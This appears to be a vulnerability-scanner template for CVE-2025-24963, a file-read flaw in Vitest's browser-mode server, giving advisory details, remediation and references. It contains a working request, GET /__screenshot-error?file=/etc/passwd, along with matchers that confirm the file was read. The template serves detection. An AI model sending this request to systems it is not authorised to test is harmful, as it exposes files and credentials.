id: CVE-2025-24963

info:
  name: Vitest Browser Mode - Local File Read
  author: iamnoooob,rootxharsh,pdresearch
  severity: medium
  description: |
    Vitest is a testing framework powered by Vite. The `__screenshot-error` handler on the browser mode HTTP server that responds any file on the file system. Especially if the server is exposed on the network by `browser.api.host- true`, an attacker can send a request to that handler from remote to get the content of arbitrary files.This `__screenshot-error` handler on the browser mode HTTP server responds any file on the file system. This code was added by commit `2d62051`. Users explicitly exposing the browser mode server to the network by `browser.api.host- true` may get any files exposed. This issue has been addressed in versions 2.1.9 and 3.0.4. Users are advised to upgrade. There are no known workarounds for this vulnerability.
  impact: |
    Attackers can read arbitrary files from the file system when the browser mode server is exposed to the network, potentially exposing source code, configuration files, and sensitive credentials.
  remediation: |
    Upgrade to Vitest version 2.1.9, 3.0.4 or later that addresses the __screenshot-error handler vulnerability.
  reference:
    - https://github.com/advisories/GHSA-8gvc-j273-4wm5
    - https://github.com/vitest-dev/vitest/blob/f17918a79969d27a415f70431e08a9445b051e45/packages/browser/src/node/plugin.ts#L88-L130
    - https://github.com/vitest-dev/vitest/commit/2d62051f13b4b0939b2f7e94e88006d830dc4d1f
    - https://github.com/vitest-dev/vitest/security/advisories/GHSA-8gvc-j273-4wm5
    - https://vitest.dev/guide/browser/config.html#browser-api
    - https://nvd.nist.gov/vuln/detail/CVE-2025-24963
  classification:
    epss-score: 0.02297
    epss-percentile: 0.81571
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.9
    cve-id: CVE-2025-24963
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2025,vitest,browser,mode,lfi,vuln,vkev

http:
  - raw:
      - |
        GET /__screenshot-error?file=/etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(content_type,'image/png')"
          - "regex('root:.*:0:0:', body)"
        condition: and
# digest: 4a0a00473045022100e89e5b15333ffa6b7e3d9ded62d63a5e76e21c0c6c8e9d7cf5fb1a06f76759e1022029e09ea3146ca6a1f9bd585d2e464c146b01f36e9cd4e9d75070adabf2caf636:922c64590222798bb761d5b6d8e72950